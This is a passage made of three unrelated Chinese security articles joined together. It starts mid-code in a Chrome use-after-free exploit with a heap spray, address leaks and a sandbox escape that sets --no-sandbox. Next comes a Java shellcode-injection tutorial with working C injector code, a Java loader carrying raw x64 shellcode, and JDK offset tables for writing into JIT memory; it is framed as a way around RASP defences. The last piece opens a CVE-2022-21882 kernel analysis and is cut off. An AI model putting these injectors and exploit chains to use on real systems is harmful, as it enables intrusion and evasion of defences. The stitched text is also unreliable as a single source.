            "", "", size, this.pipe.consumer, 
            this.progressClient.ptr).then((res) => {
            this.serialized_blob = res.blob;
          })
          this.malloc = async function(data) {
            promise = new Promise((resolve, reject) => {
              this.writePromise = {resolve: resolve, reject: reject};
            });
            this.pipe.producer.writeData(data);
            this.pipe.producer.close();
            written = await promise;
            console.assert(written == data.byteLength);
          }
          this.free = async function() {
            this.serialized_blob.blob.ptr.reset();
            await sleep(1000);
          }
          this.read = function(offset, length) {
            this.readpipe = Mojo.createDataPipe({
              elementNumBytes: 1, capacityNumBytes: length});
            this.serialized_blob.blob.readRange(
              offset, length, this.readpipe.producer, null);
            return new Promise((resolve) => {
              this.watcher = this
              .readpipe
              .consumer
              .watch({readable: true}, (r) => {
                result = new ArrayBuffer(length);
                this.readpipe.consumer.readData(result);
                this.watcher.cancel();
                resolve(result);
              });
            });
          }
          this.readQword = async function(offset) {
            let res = await this.read(offset, 8);
            return (new DataView(res)).getBigUint64(0, true);
          }
          return this;
        }
        async function allocate(data) {
          let allocation = 
            new Allocation(data.byteLength);
          await allocation.malloc(data);
          return allocation;
        }
        return allocate;
      }
      //.....
      let allocate = getAllocationConstructor();
        function spray(data) {
          return Promise
          .all(Array(0x8)
            .fill()
            .map(() => allocate(data)));
        }
        // 释放
        let ptr = await getFreedPtr();
        // 回收
        let sa  = await spray(spray_buff);
        // 触发漏洞
      

避免崩溃

堆地址泄露

此时由于原本存放render_frame_host_对象的内存现在被blob所占用，所以当调用render_frame_host_对象虚函数GetProcess时就会去调用spray_buff中的元素值+0x48处，而spray_buff对应位置值为0x4141414141414141所以此时依然会触发崩溃所以此时需要填入相应的函数地址，保证在执行GetProcess与GetBrowserContest两个虚函数时不会发生崩溃，并在执行IsOffTheRecord时能够泄露堆地址。通过查找可以首先找到一个符合条件的函数ChromeMainDelegate::CreateContentClient，此函数会将this+8处地址返回给调用者，可以将此函数地址填入堆喷占位的数据中，在调用GetProcess与GetBrowserContext虚函数时就回去调用此函数。再查找到ChromeMainDelegate类虚表查看虚表得知ChromeMainDelegate::CreateContentClient函数地址存放在起虚表的0x70偏移处。而InstalledAppProviderImpl::FilterInstalledApps在调用虚函数GetProcess时会从内存中获取一个地址将其加0x48并在此处获取一个函数去执行，所以可以将ChromeMainDelegate虚表地址+(0x70-0x48)填入堆喷数据中，当InstalledAppProviderImpl::FilterInstalledApps去调用GetProcess时就会转入ChromeMainDelegate::CreateContentClient函数在ChromeMainDelegate::CreateContentClient函数执行后会将堆喷数据地址+8偏移处的地址读出并再读出该地址0xD0偏移处的地址并调用，此处对应GetBrowserContext虚函数调用。于是可以将ChromeMainDelegate虚表地址-(0xD0-0x70)填入堆喷数据中当GetBrowserContext被调用时会再次转入ChromeMainDelegate::CreateContentClient函数最后在调用虚函数IsOffTheRecord时需要找到一个可以泄露堆地址的函数填入相应位置，通过查找找到符合条件的虚函数content::WebContentsImpl::GetWakeLockContext，由于此函数还会将this指针填入堆地址+0x8偏移处，所以也可以为后续的this地址泄露提供方便。此函数会创建一块内存用作对象内存，并会将此内存地址写入this+0x10+0x650偏移处，也就是堆喷占位数据的0x660偏移处

但要注意的是content::WebContentsImpl::GetWakeLockContext函数会先去判断this+0x10+0x650偏移处是否为0，如果为0才可以进行创建堆内存并写入this+0x10+0x650的操作通过以上操作，在经过render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()后就可以在堆喷占位数据的0x660偏移处得到一个需要的堆地址

this地址泄露

由于在上一步操作中已经泄露了堆地址并且还将this指针写入了堆地址+0x8偏移处，所以可以利用前面泄露堆地址的思路将UAF漏洞再触发一次，并把之前拿到的泄露的堆地址写入堆喷占位数据的对应偏移处即可获取到this指针，由于前面的漏洞利用this指针正好指向我们可控的堆喷占位数据，拿到了this地址也就得到了当前可控数据的地址。继续将ChromeMainDelegate::CreateContentClient函数放入GetProcess与GetBrowserContext函数对应的调用位置，现在只需要再找到一个符合条件可以将this指针从堆地址中获取到的函数，通过查找找到anonymous namespace'::DictionaryIterator::Start函数正好符合要求。结合调试再通过与泄露堆地址一样再次触发UAF漏洞便可得到this指针

沙盒逃逸

沙河逃逸的思路比较简单，通过回调去执行SetCommandLineFlagsForSandboxType函数将--no-sandbox参数添加到current_process_commandline_中。首先需要找到一个可以调用回调函数的虚函数，通过查找找到content::responsiveness::MessageLoopObserver::DidProcessTask函数现在再找到一个可以传递多个参数的回调函数，类似如下形式的然后将SetCommandLineFlagsForSandboxType函数地址填入被泄露了地址的buffer的相应偏移处就可以将沙箱关闭，但调用SetCommandLineFlagsForSandboxType函数还需要先得到全局变量current_process_commandline_通过extensions::SizeConstraints::set_minimum_size函数将current_process_commandline_中保存的指针拷贝进前文中已经被泄露地址的可控地址中。最后调用SetCommandLineFlagsForSandboxType函数，将--no-sandbox(0)标志添加进全局变量current_process_commandline_中最后生成新的渲染器过程（例如，使用iframe到其他受控原点或开启新的Tab），并再次使用渲染器漏洞利用(刷新)即可成功。

总结

• 21224漏洞触发后在触发1062091前浏览器就产生崩溃——手动delete清理掉oob数组
• 在开启mojo时修改RenderFrameImpl对象相应变量导致页面崩溃——21224中构造的读写原语在循环体中同时频繁读写会导致此问题，去掉部分不必要的读或写操作
• 将相应成员变量值写入对应的RenderFrameImpl对象偏移后mojo依然没有开启——在 81.0.4044.0版本chromium中在写入enabled_bindings_时需要将g_frame_map中拿到的RenderFrameImpl对象地址加0x68再加enabled_bindings_所在偏移，而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl对象的0x88偏移处。
• 原POC中用到的MojoInterfaceInterceptor需要开启MojoJSTest绑定才能使用——使用其他方法传递sub frame中的句柄给main frame，例如在sub frame的onload事件中使用contentWindow获取其句柄再传递给main frame，但此方法直接在本地执行时会出现跨域的问题需要起一个服务器去访问执行。

前言

随着RASP技术的发展，普通webshell已经很难有用武之地，甚至是各种内存马也逐渐捉襟见肘。秉承着《JSP Webshell那些事——攻击篇（上）》中向下走的思路，存不存在一种在Java代码中执行机器码的方法呢？答案是肯定的，常见的注入方式有JNI、JNA和利用JDK自带的Native方法等，其中笔者还找到了一种鲜有文章介绍的，基于HotSpot虚拟机，并较为通用的注入方法。

基于JNI

Java底层虽然是C/C++实现的，但不能直接执行C/C++代码。若想要执行C/C++的代码，一般得通过JNI，即Java本地调用（Java Native Interface），加载JNI链接库，调用Native方法实现。

Cobalt Strike官网博客上有一篇《如何从Java注入shellcode》的文章，便是基于JNI实现，通过Native方法调用C/C++代码将shellcode注入到内存中。

//C/C++代码中声明的函数对应Demo#inject本地方法
JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) {
   jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0);
   jsize length = (*env)->GetArrayLength(env, jdata);
   inject((LPCVOID)data, (SIZE_T)length);
   (*env)->ReleaseByteArrayElements(env, jdata, data, 0);
}

//执行注入shellcode的代码
/* inject some shellcode... enclosed stuff is the shellcode y0 */
void inject(LPCVOID buffer, int length) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hProcess   = NULL;
    SIZE_T wrote;
    LPVOID ptr;
    char lbuffer[1024];
    char cmdbuff[1024];
  
    /* reset some stuff */
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );
  
    /* start a process */
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = NULL;
    si.hStdError = NULL;
    si.hStdInput = NULL;
  
    /* resolve windir? */
    GetEnvironmentVariableA("windir", lbuffer, 1024);
  
    /* setup our path... choose wisely for 32bit and 64bit platforms */
    #ifdef _IS64_
        _snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
    #else
        _snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
    #endif
  
    /* spawn the process, baby! */
    if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
        return;
  
    hProcess = pi.hProcess;
    if( !hProcess )
        return;
  
    /* allocate memory in our process */
    ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  
    /* write our shellcode to the process */
    WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
    if (wrote != length)
        return;
  
    /* create a thread in the process */
    CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
}

这种方法需要自行编写个链接库，并上传到受害服务器上，利用起来并不显得优雅。

还有另一种方法是利用JNA第三方库，可以直接调用内核的函数，实现Shellcode注入。在@yzddmr6师傅的Java-Shellcode-Loader项目中有实现，但JNA本质上还是基于JNI，使用时还是要加载JNA自己的链接库，并且JDK中默认不包含JNA这个类库，使用时需要想办法引入。

基于JDK自带的Native方法

第一个介绍的可能是冰蝎的作者@rebeyond师傅首先发现的方法，一种基于JDK自带的Native方法的shellcode注入，严格来说是基于HotSpot虚拟机的JDK的自带Native方法。它是sun/tools/attach/VirtualMachineImpl#enqueueNative方法，存在于用于attach Java进程的tools.jar包中。

当运行在Windows上时，相应的enqueue Native方法实现在/src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c中，其中Create thread in target process to execute code的操作，不能说跟前面Cobalt Strike注入shellcode的操作毫不相干，只能说是一模一样。

JNIEXPORT void JNICALL Java_sun_tools_attach_VirtualMachineImpl_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    ...
    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */
    hProcess = (HANDLE)handle;
    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
    if ((*env)->ExceptionOccurred(env)) return;
    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
    /*
     * Create thread in target process to execute code
     */
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    ...
}

当然你不能说这个是bug，只能说是feature。

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;
public class WindowsAgentShellcodeLoader {
    public static void main(String[] args) {
        try {
            String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi";
            Class clazz = new MyClassLoader().get(Base64.getDecoder().decode(classStr));
            byte buf[] = new byte[]{
                    (byte) 0xFC, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0xE8, (byte) 0xC0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                    (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x52,
                    (byte) 0x20, (byte) 0x48, (byte) 0x8B, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0F, (byte) 0xB7, (byte) 0x4A, (byte) 0x4A, (byte) 0x4D, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0x31, (byte) 0xC0,
                    (byte) 0xAC, (byte) 0x3C, (byte) 0x61, (byte) 0x7C, (byte) 0x02, (byte) 0x2C, (byte) 0x20, (byte) 0x41, (byte) 0xC1, (byte) 0xC9, (byte) 0x0D, (byte) 0x41, (byte) 0x01, (byte) 0xC1, (byte) 0xE2, (byte) 0xED,
                    (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8B, (byte) 0x52, (byte) 0x20, (byte) 0x8B, (byte) 0x42, (byte) 0x3C, (byte) 0x48, (byte) 0x01, (byte) 0xD0, (byte) 0x8B, (byte) 0x80, (byte) 0x88,
                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xC0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xD0, (byte) 0x50, (byte) 0x8B, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                    (byte) 0x8B, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xD0, (byte) 0xE3, (byte) 0x56, (byte) 0x48, (byte) 0xFF, (byte) 0xC9, (byte) 0x41, (byte) 0x8B, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                    (byte) 0x01, (byte) 0xD6, (byte) 0x4D, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0xAC, (byte) 0x41, (byte) 0xC1, (byte) 0xC9, (byte) 0x0D, (byte) 0x41, (byte) 0x01, (byte) 0xC1,
                    (byte) 0x38, (byte) 0xE0, (byte) 0x75, (byte) 0xF1, (byte) 0x4C, (byte) 0x03, (byte) 0x4C, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xD1, (byte) 0x75, (byte) 0xD8, (byte) 0x58, (byte) 0x44,
                    (byte) 0x8B, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xD0, (byte) 0x66, (byte) 0x41, (byte) 0x8B, (byte) 0x0C, (byte) 0x48, (byte) 0x44, (byte) 0x8B, (byte) 0x40, (byte) 0x1C, (byte) 0x49,
                    (byte) 0x01, (byte) 0xD0, (byte) 0x41, (byte) 0x8B, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xD0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5E, (byte) 0x59, (byte) 0x5A,
                    (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5A, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xFF, (byte) 0xE0, (byte) 0x58, (byte) 0x41,
                    (byte) 0x59, (byte) 0x5A, (byte) 0x48, (byte) 0x8B, (byte) 0x12, (byte) 0xE9, (byte) 0x57, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, (byte) 0x5D, (byte) 0x48, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8D, (byte) 0x8D, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xBA, (byte) 0x31, (byte) 0x8B,
                    (byte) 0x6F, (byte) 0x87, (byte) 0xFF, (byte) 0xD5, (byte) 0xBB, (byte) 0xF0, (byte) 0xB5, (byte) 0xA2, (byte) 0x56, (byte) 0x41, (byte) 0xBA, (byte) 0xA6, (byte) 0x95, (byte) 0xBD, (byte) 0x9D, (byte) 0xFF,
                    (byte) 0xD5, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x3C, (byte) 0x06, (byte) 0x7C, (byte) 0x0A, (byte) 0x80, (byte) 0xFB, (byte) 0xE0, (byte) 0x75, (byte) 0x05, (byte) 0xBB, (byte) 0x47,
                    (byte) 0x13, (byte) 0x72, (byte) 0x6F, (byte) 0x6A, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xDA, (byte) 0xFF, (byte) 0xD5
            };
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byteArrayOutputStream.write(buf);
            byteArrayOutputStream.write("calc\0".getBytes());
            byte[] result = byteArrayOutputStream.toByteArray();
            Method method = clazz.getDeclaredMethod("run", byte[].class);
            method.invoke(clazz, result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static class MyClassLoader extends ClassLoader {
        public Class get(byte[] bytes) {
            return super.defineClass(bytes, 0, bytes.length);
        }
    }
}

package sun.tools.attach;
import java.io.IOException;
public class WindowsVirtualMachine {
    public WindowsVirtualMachine() {
    }
    static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;
    static native long openProcess(int var0) throws IOException;
    public static void run(byte[] buf) {
        System.loadLibrary("attach");
        try {
            enqueue(-1L, buf, "test", "test");
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    }
}

基于oop偏移

这种是基于@Ryan Wincey和@xxDark两位前辈的总结，基本原理是：多次调用某个方法，使其成为热点代码触发即时编译，然后通过oop的数据结构偏移计算出JIT地址，最后使用unsafe写内存的功能，将shellcode写入到JIT地址。其中涉及Unsafe、Oop-Klass模型和即时编译这三个前置知识。

Unsafe类

Unsafe类是java中非常特别的一个类，提供的操作可以直接读写内存、获得地址偏移值、锁定或释放线程。Unsafe只有一个私有的构造方法，但在类加载时候在静态代码中会实例化一个Unsafe对象，赋值给Unsafe类的静态常量Unsafe属性，我们发射获取到这个Unsafe属性即可。

Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

Unsafe读写内存的相关方法有getObject、getAddress、getInt、getLong和putByte等。

Oop-Klass模型

HotSpot JVM 底层都是 C/C++ 实现的，Java 对象在JVM的表示模型叫做“OOP-Klass”模型，包括两部分：

• OOP，即 Ordinary Object Point，普通对象指针，用来描述对象实例信息。

• Klass，用来描述 Java 类，包含了元数据和方法信息等。

在Java程序运行过程中，每创建一个新的对象，在JVM内部就会相应地创建一个对应类型的OOP对象。Java类是对象，Java方法也是对象，而java类加载完成时在JVM中的最终产物就是InstanceKlass，其中包含方法信息、字段信息等一切java 类所定义的一切元素。

即时编译（JIT）

为了优化Java的性能 ，JVM在解释器之外引入了即时（Just In Time）编译器：当程序运行时，解释器首先发挥作用，代码可以直接执行；当方法或者代码块在一段时间内的调用次数超过了JVM设定的阈值时，这些字节码就会被编译成机器码，存入codeCache中。在下次执行时，再遇到这段代码，就会从codeCache中读取机器码，直接执行，以此来提升程序运行的性能。整体的执行过程大致如下图所示：

Openjdk和Oracle JDK在默认mixed模型下会启动即时编译，即时编译的触发阈值在客户端编译器和服务端编译器上默认值分别为1500和10000。

原理分析

在JVM的本体：jvm.dll和libjvm.so中，存在这一个VMStructs的类，存储了JVM中包括oop、klass、constantPool在内的数据结构和他的属性。其中有使用JNIEXPORT标记的VMStructs、VMTypes、IntConstants和LongConstants的入口、名称、地址等偏移的变量，借助ClassLoader的内部类NativeLibrary的find或findEntryNative方法（与JDK的版本有关）,可获取到这些变量的值。

然后通过InstanceKlass、Array<Method*>、Method、ConstMethod、ConstantPool、Symbol这些oop数据结构中的变量偏移计算出JIT的地址。

我们要计算出的目标JIT地址是目标函数的JIT地址，这需要目标方法经多次调用触发即时编译，并自动设置_from_compiled_entry属性，然后对比函数名和Signature，从目标类众多默认方法中过滤出目标方法来，再通过Method加上_from_compiled_entry偏移计算出来。（这里的Signature即形如()V、(Ljava/lang/String;)V、()Ljava/lang/String;的函数签名）

上图没有提到InstanceKlass的获取，其实只要通过Target.class获取到目标类的类实例，再用Unsafe读取类实例加上java_lang_Class的klass偏移即可。

JVM的JIT在内存中是一个可读可写可执行的区域，最后使用Unsafe的putByte方法写入shellcode，再调用目标方法即可执行。这里要注意的是，如果使用没有恢复现场，即破坏了原有栈帧的shellcode，会导致JVM崩溃，切勿在生成环境上测试。

以上的Demo代码可以@xxDark的 JavaShellcodeInjector项目中浏览。

部分问题修复及改进

在32位的JDK跑Demo，JRE会抛出个异常，调试发现是从目标类实例获取InstanceKlass的偏移：klassOffset，从内存取到的值是0，使得获取到的klass不正确，导致Unsafe读取了一个异常的地址。

问题的原因目前还不得而知，但通过HSDB找到java.lang.Class的InstanceKlass就可以看到klass的偏移，后续其他自动获取的偏移也没有出现异常。

上面自动化地计算偏移，要加载JVM的链接库，还要获取一堆JVM里的数据结构、记录一堆oop和常量池的值，这要是想将POC写成一个文件着实有点不方便啊。那有没有一种简单粗暴的方法呢？

答案是肯定的。笔者刚好装有多个版本的JDK，发现JDK大版本和操作系统位数相同的时候，上面那些偏移是不变的。翻看JDK的源码不难发现，这些offset归根结底由offset_of宏得出，一个与C语言offsetof作用相同的宏，结果是一个结构成员相对于结构开头的字节偏移量。

而通过之前查阅的资料得知，不同JDK大版本之间的oop数据结构才存在差异，我们只要记录下这些相同架构和大版本的偏移，就能直接计算出JIT的地址，可以免去加载JVM链接库和收集、存储JVM里数据结构的操作。

以下是笔者收集的部分LTS版本JDK的oop相关偏移：

//        JDK8 x32
static int klassOffset = 0x44;
static int methodArrayOffset = 0xe4;
static int methodsOffset = 0x4;
static int constMethodOffset = 0x4;
static int constantPoolTypeSize = 0x2c;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x1a;
static int signatureIndexOffset = 0x1c;
static int _from_compiled_entry = 0x24;
static int symbolTypeBodyOffset = 0x8;
static int symbolTypeLengthOffset = 0x0;
//        JDK8 x64
static int klassOffset = 0x48;
static int methodArrayOffset = 0x180;
static int methodsOffset = 0x8;
static int constMethodOffset = 0x8;
static int constantPoolTypeSize = 0x50;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x22;
static int signatureIndexOffset = 0x24;
static int _from_compiled_entry = 0x40;
static int symbolTypeBodyOffset = 0x8;
static int symbolTypeLengthOffset = 0x0;
//        JDK11 x64
static int klassOffset = 0x50;
static int methodArrayOffset = 0x198;
static int methodsOffset = 0x8;
static int constMethodOffset = 0x8;
static int constantPoolTypeSize = 0x40;
static int constantPoolOffset = 0x8;
static int nameIndexOffset = 0x2a;
static int signatureIndexOffset = 0x2c;
static int _from_compiled_entry = 0x38;
static int symbolTypeBodyOffset = 0x6;
static int symbolTypeLengthOffset = 0x0;

后记

笔者在JDK7也曾尝试注入shellcode，但最后还是以失败告终，不仅是因为JDK7到JDK8的oop数据结构发生了很大的变化，而是JDK7中的类示例中并没有InstanceKlass结构成员，但java_lang_CLass中又确确实实存在_klass_offset这个结构成员，这点就比较奇怪。

翻看官方工具HSDB，发现是通过BasicHashtable<mtInternal>的_buckets结构成员获取所有InstanceKlass的。由于JDK7上POC的oop数据结构需要改动较多，且还不知道BasicHashtable<mtInternal>要怎么获取，所以JDK7下的POC还未实现。

最后两个的shellcode注入方法基于Oracle JDK和Openjdk的默认JVM：HotSpot，其他一些的JVM的实现方法就要静待各位师傅发掘。

文中若有错误的地方，望各位师傅不吝斧正。

参考

https://xz.aliyun.com/t/10075

https://www.slideshare.net/RyanWincey/java-shellcodeoffice

https://github.com/xxDark/JavaShellcodeInjector/blob/master/src/main/java/me/xdark/shell/ShellcodeRunner.java

https://qiankunli.github.io/2014/10/27/jvm_classloader.html

https://www.sczyh30.com/posts/Java/jvm-klass-oop/

https://jishuin.proginn.com/p/763bfbd58ef3

https://tech.meituan.com/2020/10/22/java-jit-practice-in-meituan.html

前言

2022年1月，微软发布了一个补丁来修复Windows内核中的漏洞。此漏洞允许攻击者以SYSTEM权限执行代码，本文介绍CVE-2022-21882漏洞，以及它如何绕过2021年2月修补的CVE-2021-1732的补丁。

CVE-2022-21882属于CVE-2021-1732的补丁绕过，所以这里对漏洞原理的介绍就直接用1732代替，网上对1732的漏洞分析已经非常多了，在这里我推荐阅读in1t对1732的分析文章，真的非常详细，本人在分析过程中也大量参考了in1t的报告，十分感谢。

本次分析用到的EXP来自KaLendsi。

win32kfull.sys 10.0.17763.194

漏洞分析

用户态进程创建Windows窗口时，需要先注册一个窗口类结构体，然后基于注册好的窗口类，来创建一个相应的窗口。

WinUser.h中定义的窗口类结构体如下。

typedef struct tagWNDCLASSEXW {
    UINT        cbSize;
    /* Win 3.x */
    UINT        style;
    WNDPROC     lpfnWndProc;
    int         cbClsExtra;
    int         cbWndExtra;
    HINSTANCE   hInstance;
    HICON       hIcon;
    HCURSOR     hCursor;
    HBRUSH      hbrBackground;
    LPCWSTR     lpszMenuName;
    LPCWSTR     lpszClassName;
    /* Win 4.0 */
    HICON       hIconSm;
} WNDCLASSEXW, *PWNDCLASSEXW, NEAR *NPWNDCLASSEXW, FAR *LPWNDCLASSEXW;

在上述结构体中，与漏洞相关的字段为cbWndExtra，此字段决定了创建的窗口的扩展内存的大小。当我们使用CreateWindowExW创建窗口时，最终会在内核中调用win32kfull!xxxCreateWindowEx函数，在此函数内会判断cbWndExtra是否为0，如果不为0，就会调用win32kfull!xxxClientAllocWindowClassExtraBytes函数，在用户层申请一块cbWndExtra大小的内存空间用作该窗口的扩展内存。当win32kfull!xxxClientAllocWindowClassExtraBytes函数返回后，没有做任何判断，直接将返回值赋值给tagWND.pExtraBytes，关于tagWND.pExtraBytes，后面会介绍。

win32kfull!xxxCreateWindowWx

每个窗口的扩展内存都是独享的，用于保存当前窗口的一些临时数据，Windows系统提供了一些用户层API用于操作这块内存，例如GetWindowLong、GetWindowLongPtr、SetWindowLong、SetWindowLongPtr。

上面提到的tagWND，是一个结构体，Windows用它来描述创建的每个窗口，此结构体的符号在Win7系统中还是导出的，但由于win32k模块中的漏洞较多，所以在现在的Win10中，这个结构体就不再导出符号了，但通过一些研究人员逆向分析以及网上公开的资料，仍然能够获得tagWND较为详细的结构，这极大的帮助了我们的分析。

tagWND结构如下（源自in1t）：

ptagWND(win10)
    0x10 unknown
        0x00 pTEB
            0x220 pEPROCESS(of current process)
        0x1A0 pEPROCESS(of current process)
    0x18 unknown
        0x80 kernel desktop heap base
        0xA8 spMenu
    0x28 ptagWNDk(tagWND(win7))
        0x00 hwnd
        0x08 kernel desktop heap base offset
        0x18 dwStyle
        0x58 Window Rect left
        0x5C Window Rect top
        0x98 spMenu(uninitialized)
        0xC8 cbWndExtra
        0xE8 dwExtraFlag
        0x128 pExtraBytes
    0x90 spMenu
        0x00 hMenu
        0x18 unknown0
            0x100 unknown
                0x00 pEPROCESS(of current process)
        0x28 unknown1
            0x2C cItems(for check)
        0x40 unknown2(for check)
        0x44 unknown3(for check)
        0x50 ptagWND
        0x58 rgItems
            0x00 unknown(for exploit)
        0x98 spMenuk
            0x00 pSelf
    0xA8 spMenu

在tagWND结构体中，较为重要的是cbWndExtra、dwExtraFlag、pExtraBytes。

cbWndExtra我们已经知道，表示扩展内存的大小，这里重点介绍pExtraBytes和dwExtraFlag。

总的来说，pExtraBytes与窗口的扩展内存地址相关，当我们调用SetWindowLong函数来操作窗口的扩展内存时，内核中实际会调用win32kfull!xxxSetWindowLong函数，此函数内会判断dwExtraFlag的值，通过dwExtraFlag的值来决定pExtraBytes内保存相对地址偏移还是地址。

